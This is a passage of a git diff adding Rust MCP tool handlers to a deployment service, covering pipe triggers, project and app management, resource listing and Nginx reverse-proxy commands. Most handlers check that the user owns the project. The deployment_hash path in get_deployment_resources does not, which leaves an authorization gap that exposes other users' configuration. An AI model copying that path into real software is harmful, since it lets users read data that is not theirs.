&request, params.wait_timeout_seconds).await?; + + Ok(ToolContent::Text { + text: json!({ + "status": "triggered", + "pipe_id": params.pipe_id, + "deployment_hash": deployment_hash, + "command": command, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "trigger_pipe".to_string(), + description: "Execute a one-shot remote pipe trigger with input data.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "pipe_id": { "type": "string", "description": "Pipe instance ID" }, + "deployment_id": { "type": "number", "description": "Optional deployment/installation ID for validation" }, + "deployment_hash": { "type": "string", "description": "Optional deployment hash for validation" }, + "input_data": { + "description": "Optional JSON payload to inject into the pipe trigger", + "oneOf": [ + { "type": "object" }, + { "type": "array" }, + { "type": "string" }, + { "type": "number" }, + { "type": "boolean" }, + { "type": "null" } + ] + }, + "wait_timeout_seconds": { "type": "integer", "description": "How long MCP should wait for the agent command result", "default": 90 } + }, + "required": ["pipe_id"] + }), + } + } +} + +fn default_trigger() -> String { + "webhook".to_string() +} + +fn default_poll_interval() -> u32 { + 300 +} + +fn default_wait_timeout() -> u64 { + PIPE_COMMAND_TIMEOUT_SECS +} diff --git a/stacker/stacker/src/mcp/tools/project.rs b/stacker/stacker/src/mcp/tools/project.rs new file mode 100644 index 0000000..913104f --- /dev/null +++ b/stacker/stacker/src/mcp/tools/project.rs @@ -0,0 +1,936 @@ +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::connectors::user_service::UserServiceClient; +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::services::ProjectAppService; +use serde::Deserialize; +use std::sync::Arc; +use uuid::Uuid; + +fn build_project_payload( + name: &str, + description: Option<&str>, + apps: &[Value], +) -> (serde_json::Value, serde_json::Value) { + let mut stack_code = crate::models::sanitize_project_name(name); + if stack_code.len() < 3 { + stack_code = "app-stack".to_string(); + } + + let project_name = if name.trim().is_empty() { + "New project".to_string() + } else { + name.to_string() + }; + + let network_id = Uuid::new_v4().simple().to_string()[..16].to_string(); + + let metadata = json!({ + "custom": { + "web": [], + "feature": [], + "service": [], + "networks": [ + { + "id": network_id, + "ipam": null, + "name": "default_network", + "driver": null, + "labels": null, + "external": null, + "internal": null, + "attachable": null, + "driver_opts": null, + "enable_ipv6": null + } + ], + "project_name": project_name, + "project_git_url": null, + "project_overview": description, + "custom_stack_code": stack_code, + "project_description": description, + "custom_stack_category": null, + "custom_stack_description": null, + "custom_stack_short_description": null, + "apps": apps + } + }); + + let request_json = json!({ + "ssl": "letsencrypt", + "custom": { + "web": [], + "code": stack_code, + "feature": [], + "service": [], + "networks": [ + { + "id": network_id, + "name": "default_network" + } + ], + "project_name": project_name, + "connection_mode": "ssh", + "project_git_url": null, + "project_overview": description, + "custom_stack_code": stack_code, + "project_description": description, + "custom_stack_category": null, + "custom_stack_description": null, + "custom_stack_short_description": null, + "apps": apps + } + }); + + (metadata, request_json) +} + +/// List user's projects +pub struct ListProjectsTool; + +#[async_trait] +impl ToolHandler for ListProjectsTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + let projects = db::project::fetch_by_user(&context.pg_pool, &context.user.id) + .await + .map_err(|e| { + tracing::error!("Failed to fetch projects: {}", e); + format!("Database error: {}", e) + })?; + + let result = + serde_json::to_string(&projects).map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + "Listed {} projects for user {}", + projects.len(), + context.user.id + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_projects".to_string(), + description: "List all projects owned by the authenticated user".to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Get a specific project by ID +pub struct GetProjectTool; + +#[async_trait] +impl ToolHandler for GetProjectTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + id: i32, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let project = db::project::fetch(&context.pg_pool, params.id) + .await + .map_err(|e| { + tracing::error!("Failed to fetch project {}: {}", params.id, e); + format!("Database error: {}", e) + })?; + + let result = + serde_json::to_string(&project).map_err(|e| format!("Serialization error: {}", e))?; + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_project".to_string(), + description: "Get details of a specific project by ID".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "id": { + "type": "number", + "description": "Project ID" + } + }, + "required": ["id"] + }), + } + } +} + +/// Create a new project +pub struct CreateProjectTool; + +#[async_trait] +impl ToolHandler for CreateProjectTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct CreateArgs { + name: String, + #[serde(default)] + description: Option, + #[serde(default)] + apps: Vec, + } + + let params: CreateArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if params.name.trim().is_empty() { + return Err("Project name cannot be empty".to_string()); + } + + if params.name.len() > 255 { + return Err("Project name too long (max 255 characters)".to_string()); + } + + let (metadata, request_json) = + build_project_payload(¶ms.name, params.description.as_deref(), ¶ms.apps); + + // Create a new Project model with normalized metadata/request payload + let project = crate::models::Project::new( + context.user.id.clone(), + params.name.clone(), + metadata, + request_json, + ); + + let project = db::project::insert(&context.pg_pool, project) + .await + .map_err(|e| { + tracing::error!("Failed to create project: {}", e); + format!("Failed to create project: {}", e) + })?; + + let result = + serde_json::to_string(&project).map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + "Created project {} for user {}", + project.id, + context.user.id + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "create_project".to_string(), + description: "Create a new application stack project with services and configuration" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "name": { + "type": "string", + "description": "Project name (required, max 255 chars)" + }, + "description": { + "type": "string", + "description": "Project description (optional)" + }, + "apps": { + "type": "array", + "description": "List of applications/services to include", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "description": "Service name" + }, + "dockerImage": { + "type": "object", + "properties": { + "namespace": { "type": "string" }, + "repository": { + "type": "string", + "description": "Docker image repository" + }, + "tag": { "type": "string" } + }, + "required": ["repository"] + } + } + } + } + }, + "required": ["name"] + }), + } + } +} + +/// Create or update an app in a project (custom service) +pub struct CreateProjectAppTool; + +#[async_trait] +impl ToolHandler for CreateProjectAppTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + project_id: Option, + #[serde(alias = "app_code")] + code: String, + #[serde(default)] + image: Option, + #[serde(default)] + name: Option, + #[serde(default, alias = "environment")] + env: Option, + #[serde(default)] + ports: Option, + #[serde(default)] + volumes: Option, + #[serde(default)] + config_files: Option, + #[serde(default)] + domain: Option, + #[serde(default)] + ssl_enabled: Option, + #[serde(default)] + resources: Option, + #[serde(default)] + restart_policy: Option, + #[serde(default)] + command: Option, + #[serde(default)] + entrypoint: Option, + #[serde(default)] + networks: Option, + #[serde(default)] + depends_on: Option, + #[serde(default)] + healthcheck: Option, + #[serde(default)] + labels: Option, + #[serde(default)] + enabled: Option, + #[serde(default)] + deploy_order: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let code = params.code.trim(); + if code.is_empty() { + return Err("app code is required".to_string()); + } + + let project_id = if let Some(project_id) = params.project_id { + let project = db::project::fetch(&context.pg_pool, project_id) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + project_id + } else if let Some(ref deployment_hash) = params.deployment_hash { + let deployment = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, deployment_hash) + .await + .map_err(|e| format!("Failed to lookup deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + if deployment.user_id != Some(context.user.id.clone()) { + return Err("Deployment not found".to_string()); + } + deployment.project_id + } else { + return Err("project_id or deployment_hash is required".to_string()); + }; + + let project = db::project::fetch(&context.pg_pool, project_id) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + let mut resolved_image = params.image.unwrap_or_default().trim().to_string(); + let mut resolved_name = params.name.clone(); + let mut resolved_ports = params.ports.clone(); + let mut resolved_env = params.env.clone(); + let mut resolved_config_files = params.config_files.clone(); + + // Use enriched catalog endpoint for correct Docker image + default configs + if resolved_image.is_empty() + || resolved_name.is_none() + || resolved_ports.is_none() + || resolved_env.is_none() + { + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + // Try catalog endpoint first (has correct Docker image + default env/config) + // Gracefully handle total failure — proceed with defaults if User Service is unreachable + let catalog_app = match client.fetch_app_catalog(token, code).await { + Ok(app) => app, + Err(e) => { + tracing::warn!( + "Could not fetch app catalog for code={}: {}, proceeding with defaults", + code, + e + ); + None + } + }; + + if let Some(app) = catalog_app { + if resolved_image.is_empty() { + if let Some(image) = app.docker_image.as_ref().filter(|s| !s.is_empty()) { + resolved_image = image.clone(); + } + } + + if resolved_name.is_none() { + if let Some(name) = app.name.clone() { + resolved_name = Some(name); + } + } + + if resolved_ports.is_none() { + // Prefer default_ports (structured) from catalog + if let Some(ports) = &app.default_ports { + if let Some(arr) = ports.as_array() { + if !arr.is_empty() { + let port_strings: Vec = arr + .iter() + .filter_map(|p| { + let port = p + .get("port") + .and_then(|v| v.as_i64()) + .or_else(|| p.as_i64()); + port.map(|p| { + serde_json::Value::String(format!("{0}:{0}", p)) + }) + }) + .collect(); + if !port_strings.is_empty() { + resolved_ports = Some(json!(port_strings)); + } + } + } + } + // Fallback to default_port scalar + if resolved_ports.is_none() { + if let Some(port) = app.default_port { + if port > 0 { + resolved_ports = Some(json!([format!("{0}:{0}", port)])); + } + } + } + } + + // Populate default environment from catalog if not provided by user + if resolved_env.is_none() { + if let Some(env_obj) = &app.default_env { + if let Some(obj) = env_obj.as_object() { + if !obj.is_empty() { + // Convert { "KEY": "value" } to [{ "name": "KEY", "value": "value" }] + let env_arr: Vec = obj + .iter() + .map(|(k, v)| { + json!({ + "name": k, + "value": v.as_str().unwrap_or("") + }) + }) + .collect(); + resolved_env = Some(json!(env_arr)); + } + } + } + } + + // Populate default config_files from catalog if not provided + if resolved_config_files.is_none() { + if let Some(cf) = &app.default_config_files { + if let Some(arr) = cf.as_array() { + if !arr.is_empty() { + resolved_config_files = Some(cf.clone()); + } + } + } + } + } + } + + if resolved_image.is_empty() { + return Err("image is required (no default found)".to_string()); + } + + let mut app = crate::models::ProjectApp::default(); + app.project_id = project_id; + app.code = code.to_string(); + app.name = resolved_name.unwrap_or_else(|| code.to_string()); + app.image = resolved_image; + app.environment = resolved_env; + app.ports = resolved_ports; + app.volumes = params.volumes.clone(); + app.domain = params.domain.clone(); + app.ssl_enabled = params.ssl_enabled; + app.resources = params.resources.clone(); + app.restart_policy = params.restart_policy.clone(); + app.command = params.command.clone(); + app.entrypoint = params.entrypoint.clone(); + app.networks = params.networks.clone(); + app.depends_on = params.depends_on.clone(); + app.healthcheck = params.healthcheck.clone(); + app.labels = params.labels.clone(); + app.enabled = params.enabled.or(Some(true)); + app.deploy_order = params.deploy_order; + + if let Some(config_files) = resolved_config_files { + let mut labels = app.labels.clone().unwrap_or(json!({})); + if let Some(obj) = labels.as_object_mut() { + obj.insert("config_files".to_string(), config_files); + } + app.labels = Some(labels); + } + + let service = if params.deployment_hash.is_some() { + ProjectAppService::new(Arc::new(context.pg_pool.clone())) + .map_err(|e| format!("Failed to create app service: {}", e))? + } else { + ProjectAppService::new_without_sync(Arc::new(context.pg_pool.clone())) + .map_err(|e| format!("Failed to create app service: {}", e))? + }; + + let deployment_hash = params.deployment_hash.unwrap_or_default(); + let created = service + .upsert(&app, &project, &deployment_hash) + .await + .map_err(|e| format!("Failed to save app: {}", e))?; + + let result = + serde_json::to_string(&created).map_err(|e| format!("Serialization error: {}", e))?; + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "create_project_app".to_string(), + description: + "Create or update a custom app/service within a project (writes to project_app)." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { "type": "number", "description": "Project ID (optional if deployment_hash is provided)" }, + "code": { "type": "string", "description": "App code (or app_code)" }, + "app_code": { "type": "string", "description": "Alias for code" }, + "name": { "type": "string", "description": "Display name" }, + "image": { "type": "string", "description": "Docker image (optional: uses catalog default if omitted)" }, + "env": { "type": "object", "description": "Environment variables" }, + "ports": { + "type": "array", + "description": "Port mappings", + "items": { "type": "string" } + }, + "volumes": { + "type": "array", + "description": "Volume mounts", + "items": { "type": "string" } + }, + "config_files": { + "type": "array", + "description": "Additional config files", + "items": { + "type": "object", + "properties": { + "name": { "type": "string" }, + "content": { "type": "string" }, + "destination_path": { "type": "string" } + } + } + }, + "domain": { "type": "string", "description": "Domain name" }, + "ssl_enabled": { "type": "boolean", "description": "Enable SSL" }, + "resources": { "type": "object", "description": "Resource limits" }, + "restart_policy": { "type": "string", "description": "Restart policy" }, + "command": { "type": "string", "description": "Command override" }, + "entrypoint": { "type": "string", "description": "Entrypoint override" }, + "networks": { + "type": "array", + "description": "Networks", + "items": { "type": "string" } + }, + "depends_on": { + "type": "array", + "description": "Dependencies", + "items": { "type": "string" } + }, + "healthcheck": { "type": "object", "description": "Healthcheck" }, + "labels": { "type": "object", "description": "Container labels" }, + "enabled": { "type": "boolean", "description": "Enable app" }, + "deploy_order": { "type": "number", "description": "Deployment order" }, + "deployment_hash": { "type": "string", "description": "Deployment hash (optional; required if project_id is omitted)" } + }, + "required": ["code"] + }), + } + } +} + +/// List all project apps (containers) for the current user +/// Returns apps across all user's projects with their configuration +pub struct ListProjectAppsTool; + +#[async_trait] +impl ToolHandler for ListProjectAppsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + /// Optional: filter by project ID + #[serde(default)] + project_id: Option, + /// Optional: filter by deployment hash + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let mut all_apps: Vec = Vec::new(); + + // If project_id is provided, fetch apps for that project + if let Some(project_id) = params.project_id { + // Verify user owns this project + let project = db::project::fetch(&context.pg_pool, project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this project".to_string()); + } + + let apps = db::project_app::fetch_by_project(&context.pg_pool, project_id) + .await + .map_err(|e| format!("Failed to fetch apps: {}", e))?; + + for app in apps { + all_apps.push(json!({ + "project_id": app.project_id, + "project_name": project.name, + "code": app.code, + "name": app.name, + "image": app.image, + "ports": app.ports, + "volumes": app.volumes, + "networks": app.networks, + "domain": app.domain, + "ssl_enabled": app.ssl_enabled, + "environment": app.environment, + "enabled": app.enabled, + "parent_app_code": app.parent_app_code, + "config_version": app.config_version, + })); + } + } else if let Some(deployment_hash) = ¶ms.deployment_hash { + // Fetch by deployment hash + if let Ok(Some(deployment)) = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, deployment_hash).await + { + let project = db::project::fetch(&context.pg_pool, deployment.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this deployment".to_string()); + } + + let apps = + db::project_app::fetch_by_project(&context.pg_pool, deployment.project_id) + .await + .map_err(|e| format!("Failed to fetch apps: {}", e))?; + + for app in apps { + all_apps.push(json!({ + "project_id": app.project_id, + "project_name": project.name, + "deployment_hash": deployment_hash, + "code": app.code, + "name": app.name, + "image": app.image, + "ports": app.ports, + "volumes": app.volumes, + "networks": app.networks, + "domain": app.domain, + "ssl_enabled": app.ssl_enabled, + "environment": app.environment, + "enabled": app.enabled, + "parent_app_code": app.parent_app_code, + "config_version": app.config_version, + })); + } + } + } else { + // Fetch all projects and their apps for the user + let projects = db::project::fetch_by_user(&context.pg_pool, &context.user.id) + .await + .map_err(|e| format!("Failed to fetch projects: {}", e))?; + + for project in projects { + let apps = db::project_app::fetch_by_project(&context.pg_pool, project.id) + .await + .unwrap_or_default(); + + // Get deployment hash if exists + let deployment_hash = + db::deployment::fetch_by_project_id(&context.pg_pool, project.id) + .await + .ok() + .flatten() + .map(|d| d.deployment_hash); + + for app in apps { + all_apps.push(json!({ + "project_id": app.project_id, + "project_name": project.name.clone(), + "deployment_hash": deployment_hash, + "code": app.code, + "name": app.name, + "image": app.image, + "ports": app.ports, + "volumes": app.volumes, + "networks": app.networks, + "domain": app.domain, + "ssl_enabled": app.ssl_enabled, + "environment": app.environment, + "enabled": app.enabled, + "parent_app_code": app.parent_app_code, + "config_version": app.config_version, + })); + } + } + } + + let result = json!({ + "apps_count": all_apps.len(), + "apps": all_apps, + }); + + tracing::info!( + user_id = %context.user.id, + apps_count = all_apps.len(), + "Listed project apps via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_project_apps".to_string(), + description: "List all app configurations (containers) for the current user. Returns apps with their ports, volumes, networks, domains, and environment variables. Can filter by project_id or deployment_hash.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Filter by specific project ID" + }, + "deployment_hash": { + "type": "string", + "description": "Filter by deployment hash" + } + }, + "required": [] + }), + } + } +} + +/// Get detailed resource configuration (volumes, networks, ports) for a deployment +pub struct GetDeploymentResourcesTool; + +#[async_trait] +impl ToolHandler for GetDeploymentResourcesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + project_id: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Determine project_id from various sources + let project_id = if let Some(pid) = params.project_id { + // Verify ownership + let project = db::project::fetch(&context.pg_pool, pid) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this project".to_string()); + } + pid + } else if let Some(ref hash) = params.deployment_hash { + let deployment = db::deployment::fetch_by_deployment_hash(&context.pg_pool, hash) + .await + .map_err(|e| format!("Failed to lookup deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + deployment.project_id + } else if let Some(_deployment_id) = params.deployment_id { + // Legacy: try to find project by deployment ID + // This would need a User Service lookup - for now return error + return Err("Please provide deployment_hash or project_id".to_string()); + } else { + return Err( + "Either deployment_hash, project_id, or deployment_id is required".to_string(), + ); + }; + + // Fetch all apps for this project + let apps = db::project_app::fetch_by_project(&context.pg_pool, project_id) + .await + .map_err(|e| format!("Failed to fetch apps: {}", e))?; + + // Collect all resources + let mut all_volumes: Vec = Vec::new(); + let mut all_networks: Vec = Vec::new(); + let mut all_ports: Vec = Vec::new(); + let mut apps_summary: Vec = Vec::new(); + + for app in &apps { + // Collect volumes + if let Some(volumes) = &app.volumes { + if let Some(vol_arr) = volumes.as_array() { + for vol in vol_arr { + all_volumes.push(json!({ + "app_code": app.code, + "volume": vol, + })); + } + } + } + + // Collect networks + if let Some(networks) = &app.networks { + if let Some(net_arr) = networks.as_array() { + for net in net_arr { + all_networks.push(json!({ + "app_code": app.code, + "network": net, + })); + } + } + } + + // Collect ports + if let Some(ports) = &app.ports { + if let Some(port_arr) = ports.as_array() { + for port in port_arr { + all_ports.push(json!({ + "app_code": app.code, + "port": port, + "domain": app.domain, + "ssl_enabled": app.ssl_enabled, + })); + } + } + } + + apps_summary.push(json!({ + "code": app.code, + "name": app.name, + "image": app.image, + "domain": app.domain, + "ssl_enabled": app.ssl_enabled, + "parent_app_code": app.parent_app_code, + "enabled": app.enabled, + })); + } + + let result = json!({ + "project_id": project_id, + "apps_count": apps.len(), + "apps": apps_summary, + "volumes": { + "count": all_volumes.len(), + "items": all_volumes, + }, + "networks": { + "count": all_networks.len(), + "items": all_networks, + }, + "ports": { + "count": all_ports.len(), + "items": all_ports, + }, + "hint": "Use these app_codes for configure_proxy, get_container_logs, restart_container, etc." + }); + + tracing::info!( + user_id = %context.user.id, + project_id = project_id, + apps_count = apps.len(), + "Retrieved deployment resources via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_deployment_resources".to_string(), + description: "Get all volumes, networks, and ports configured for a deployment. Use this to discover available resources before configuring proxies or troubleshooting.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "Deployment/installation ID (legacy)" + }, + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred)" + }, + "project_id": { + "type": "number", + "description": "Project ID" + } + }, + "required": [] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/proxy.rs b/stacker/stacker/src/mcp/tools/proxy.rs new file mode 100644 index 0000000..75fce84 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/proxy.rs @@ -0,0 +1,441 @@ +//! MCP Tools for Nginx Proxy Manager integration +//! +//! These tools allow AI chat to configure reverse proxies for deployed applications. + +use async_trait::async_trait; +use serde::Deserialize; +use serde_json::{json, Value}; + +use crate::connectors::user_service::UserServiceDeploymentResolver; +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models::{Command, CommandPriority}; +use crate::services::{DeploymentIdentifier, DeploymentResolver}; + +/// Helper to create a resolver from context. +fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver { + UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ) +} + +/// Configure a reverse proxy for an application +/// +/// Creates or updates a proxy host in Nginx Proxy Manager to route +/// a domain to a container's port. +pub struct ConfigureProxyTool; + +#[async_trait] +impl ToolHandler for ConfigureProxyTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + /// The deployment ID (for legacy User Service deployments) + #[serde(default)] + deployment_id: Option, + /// The deployment hash (for Stack Builder deployments) + #[serde(default)] + deployment_hash: Option, + /// App code (container name) to proxy + app_code: String, + /// Domain name(s) to proxy (e.g., ["komodo.example.com"]) + domain_names: Vec, + /// Port on the container to forward to + forward_port: u16, + /// Container/service name to forward to (defaults to app_code) + #[serde(default)] + forward_host: Option, + /// Enable SSL with Let's Encrypt (default: true) + #[serde(default = "default_true")] + ssl_enabled: bool, + /// Force HTTPS redirect (default: true) + #[serde(default = "default_true")] + ssl_forced: bool, + /// HTTP/2 support (default: true) + #[serde(default = "default_true")] + http2_support: bool, + } + + fn default_true() -> bool { + true + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier from args (prefers hash if both provided) + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + + // Resolve to deployment_hash + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Validate domain names + if params.domain_names.is_empty() { + return Err("At least one domain_name is required".to_string()); + } + + // Validate port + if params.forward_port == 0 { + return Err("forward_port must be greater than 0".to_string()); + } + + // Create command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "configure_proxy".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.configure_proxy", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "domain_names": params.domain_names, + "forward_port": params.forward_port, + "forward_host": params.forward_host.clone().unwrap_or_else(|| params.app_code.clone()), + "ssl_enabled": params.ssl_enabled, + "ssl_forced": params.ssl_forced, + "http2_support": params.http2_support, + "action": "create" + } + })); + + // Insert command and add to queue + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + domains = ?params.domain_names, + port = %params.forward_port, + "Queued configure_proxy command via MCP" + ); + + let response = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "domain_names": params.domain_names, + "forward_port": params.forward_port, + "ssl_enabled": params.ssl_enabled, + "message": format!( + "Proxy configuration command queued. Domain(s) {} will be configured to forward to {}:{}", + params.domain_names.join(", "), + params.forward_host.as_ref().unwrap_or(¶ms.app_code), + params.forward_port + ) + }); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "configure_proxy".to_string(), + description: "Configure a reverse proxy (Nginx Proxy Manager) to route a domain to an application. Set ssl_enabled=false for plain HTTP hosts; when enabled, SSL certificates are requested with Let's Encrypt.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments)" + }, + "app_code": { + "type": "string", + "description": "The app code (container name) to proxy to" + }, + "domain_names": { + "type": "array", + "items": { "type": "string" }, + "description": "Domain name(s) to proxy (e.g., ['komodo.example.com'])" + }, + "forward_port": { + "type": "number", + "description": "Port on the container to forward traffic to" + }, + "forward_host": { + "type": "string", + "description": "Container/service name to forward to (defaults to app_code)" + }, + "ssl_enabled": { + "type": "boolean", + "description": "Enable SSL with Let's Encrypt; set false for plain HTTP hosts (default: true)" + }, + "ssl_forced": { + "type": "boolean", + "description": "Force HTTPS redirect when SSL is enabled (default: true)" + }, + "http2_support": { + "type": "boolean", + "description": "Enable HTTP/2 support (default: true)" + } + }, + "required": ["app_code", "domain_names", "forward_port"] + }), + } + } +} + +/// Delete a reverse proxy configuration +pub struct DeleteProxyTool; + +#[async_trait] +impl ToolHandler for DeleteProxyTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + /// The deployment ID (for legacy User Service deployments) + #[serde(default)] + deployment_id: Option, + /// The deployment hash (for Stack Builder deployments) + #[serde(default)] + deployment_hash: Option, + /// App code associated with the proxy + app_code: String, + /// Domain name(s) to remove proxy for + domain_names: Vec, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier from args (prefers hash if both provided) + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + + // Resolve to deployment_hash + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Validate domain names + if params.domain_names.is_empty() { + return Err( + "At least one domain_name is required to identify the proxy to delete".to_string(), + ); + } + + // Create command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "configure_proxy".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.configure_proxy", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "domain_names": params.domain_names, + "forward_port": 0, // Not needed for delete + "action": "delete" + } + })); + + // Insert command and add to queue + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + domains = ?params.domain_names, + "Queued delete_proxy command via MCP" + ); + + let response = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "domain_names": params.domain_names, + "message": format!( + "Delete proxy command queued. Proxy for domain(s) {} will be removed.", + params.domain_names.join(", ") + ) + }); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "delete_proxy".to_string(), + description: "Delete a reverse proxy configuration from Nginx Proxy Manager." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments)" + }, + "app_code": { + "type": "string", + "description": "The app code associated with the proxy" + }, + "domain_names": { + "type": "array", + "items": { "type": "string" }, + "description": "Domain name(s) to remove proxy for (used to identify the proxy host)" + } + }, + "required": ["app_code", "domain_names"] + }), + } + } +} + +/// List all proxy hosts configured for a deployment +pub struct ListProxiesTool; + +#[async_trait] +impl ToolHandler for ListProxiesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + /// The deployment ID (for legacy User Service deployments) + #[serde(default)] + deployment_id: Option, + /// The deployment hash (for Stack Builder deployments) + #[serde(default)] + deployment_hash: Option, + /// Optional: filter by app_code + #[serde(default)] + app_code: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier from args (prefers hash if both provided) + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + + // Resolve to deployment_hash + let 